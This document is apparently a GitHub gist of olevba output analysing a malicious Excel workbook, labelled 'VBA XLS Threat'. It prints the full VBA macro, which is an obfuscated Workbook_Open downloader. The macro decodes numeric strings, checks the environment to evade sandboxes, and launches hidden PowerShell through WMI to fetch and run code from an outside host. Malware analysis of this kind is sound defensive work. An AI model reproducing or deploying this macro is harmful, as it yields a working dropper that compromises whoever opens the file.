Created
September 21, 2018 06:27
-
-
Save seclib/4ed9e7f41ad4c1b41b9232c43649d0d1 to your computer and use it in GitHub Desktop.
VBA XLS Threat
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
olevba3 0.53.1 - http://decalage.info/python/oletools | |
Flags Filename | |
----------- ----------------------------------------------------------------- | |
OpX:MAS-H--- 4ae63b5cd1f0503d1d858e2f12de51c5218d4ccddef1beae0d1c7962b1783003 | |
=============================================================================== | |
FILE: 4ae63b5cd1f0503d1d858e2f12de51c5218d4ccddef1beae0d1c7962b1783003 | |
Type: OpenXML | |
------------------------------------------------------------------------------- | |
VBA MACRO ThisWorkbook.cls | |
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Function November(Tuesday) | |
November = Chr(Tuesday - 19) | |
End Function | |
Function October(Wednesday) | |
October = Left(Wednesday, 7 - 4) | |
End Function | |
Function April(Friday) | |
April = Right(Friday, Len(Friday) - 3) | |
End Function | |
Function June(Thursday) | |
Do | |
Tomorrow = Tomorrow + November(October(Thursday)) | |
Thursday = April(Thursday) | |
Loop While Len(Thursday) > 9 - 19 + 10 | |
June = Tomorrow | |
End Function | |
Sub Workbook_Open() | |
On Error Resume Next | |
Set prosopite_laryngopharynx = GetObject(June("138124129128122128135134077")).Get(June("106124129070069114099124129122102135116135136134065084119119133120134134080058127130118116135124130129065128124118133130134130121135065118130128058063101120134130127137120084119119133120134134097116128120134080103133136120")) | |
With prosopite_laryngopharynx | |
If .StatusCode = 53 - 20 - 33 Then | |
Erzurum_memorda = False | |
ElseIf .StatusCode > 15 - 30 + 15 Then | |
Erzurum_memorda = False | |
Else | |
Erzurum_memorda = True | |
End If | |
End With | |
If Environ$(June("136134120133119130128116124129")) = LCase(Environ$(June("118130128131136135120133129116128120"))) Then | |
Thalamiflorae_lashingly = False | |
Else | |
Thalamiflorae_lashingly = True | |
End If | |
If Erzurum_memorda = True And Thalamiflorae_lashingly = True Then | |
Today = "131130138120133134123120127127065120139120051064088139120118051085140131116134134051064097130099051064138051091124119119120129051064086130128128116129119051124120139059059097120138064098117125120118135051102140134135120128065097120135065106120117086127124120129135060065087130138129127130116119102135133124129122059058123135135131077066066123123130070065118130128066094101095066137124120138065131123131082128130119120080119120134126135130131058060060" | |
Yesterday = June(Today) | |
GetObject(June("138124129128122128135134077")).Get(June("106124129070069114099133130118120134134")).Create Yesterday, September, January, March | |
End If | |
End Sub | |
------------------------------------------------------------------------------- | |
VBA MACRO Sheet1.cls | |
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
(empty macro) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment